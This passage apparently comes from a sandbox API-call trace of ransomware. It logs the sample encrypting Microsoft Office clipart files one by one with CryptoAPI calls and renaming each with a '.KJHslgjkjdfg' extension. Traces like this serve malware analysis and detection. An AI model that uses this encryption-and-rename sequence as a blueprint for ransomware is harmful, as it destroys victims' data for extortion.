lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.152] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.152] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.152] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.152] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.152] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.152] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.152] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8fc, lpOverlapped=0x0) returned 1 [0195.152] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x900, dwBufLen=0x900 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x900) returned 1 [0195.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.153] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x900, lpOverlapped=0x0) returned 1 [0195.153] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.153] SetEndOfFile (hFile=0x130) returned 1 [0195.155] GetProcessHeap () returned 0x2ef0000 [0195.155] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.155] GetProcessHeap () returned 0x2ef0000 [0195.155] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.155] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.kjhslgjkjdfg")) returned 1 [0195.156] CloseHandle (hObject=0x130) returned 1 [0195.157] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0195.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.157] GetProcessHeap () returned 0x2ef0000 [0195.157] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.157] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.157] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.157] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.159] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.159] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.159] GetProcessHeap () returned 0x2ef0000 [0195.159] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.159] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.159] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.159] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.160] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.160] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.160] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.160] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.160] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.160] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.160] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcb4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xcb4, lpOverlapped=0x0) returned 1 [0195.160] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcc0) returned 1 [0195.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.160] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xcc0, lpOverlapped=0x0) returned 1 [0195.161] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.161] SetEndOfFile (hFile=0x130) returned 1 [0195.163] GetProcessHeap () returned 0x2ef0000 [0195.163] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.163] GetProcessHeap () returned 0x2ef0000 [0195.163] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.kjhslgjkjdfg")) returned 1 [0195.164] CloseHandle (hObject=0x130) returned 1 [0195.164] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0195.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.165] GetProcessHeap () returned 0x2ef0000 [0195.165] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.165] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.165] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0195.167] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.167] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.167] GetProcessHeap () returned 0x2ef0000 [0195.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.167] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.167] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.167] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.168] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.168] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.168] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.168] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.168] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.168] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.168] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1815, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1815, lpOverlapped=0x0) returned 1 [0195.169] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1820, dwBufLen=0x1820 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1820) returned 1 [0195.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.169] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1820, lpOverlapped=0x0) returned 1 [0195.169] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x18f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.169] SetEndOfFile (hFile=0x130) returned 1 [0195.172] GetProcessHeap () returned 0x2ef0000 [0195.172] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.172] GetProcessHeap () returned 0x2ef0000 [0195.172] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.172] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.kjhslgjkjdfg")) returned 1 [0195.173] CloseHandle (hObject=0x130) returned 1 [0195.173] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0195.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.174] GetProcessHeap () returned 0x2ef0000 [0195.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.174] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.174] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0195.176] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.177] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.177] GetProcessHeap () returned 0x2ef0000 [0195.177] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.177] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.177] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.177] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.177] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.177] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.177] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.177] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.177] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.177] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.177] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.177] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.178] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x566, lpOverlapped=0x0) returned 1 [0195.178] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x570, dwBufLen=0x570 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x570) returned 1 [0195.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.178] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x570, lpOverlapped=0x0) returned 1 [0195.178] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.178] SetEndOfFile (hFile=0x130) returned 1 [0195.181] GetProcessHeap () returned 0x2ef0000 [0195.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.181] GetProcessHeap () returned 0x2ef0000 [0195.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.kjhslgjkjdfg")) returned 1 [0195.182] CloseHandle (hObject=0x130) returned 1 [0195.182] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0195.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.183] GetProcessHeap () returned 0x2ef0000 [0195.183] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.183] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.183] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0195.185] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.185] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.185] GetProcessHeap () returned 0x2ef0000 [0195.185] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.185] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.185] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.185] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.186] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.186] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.186] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, 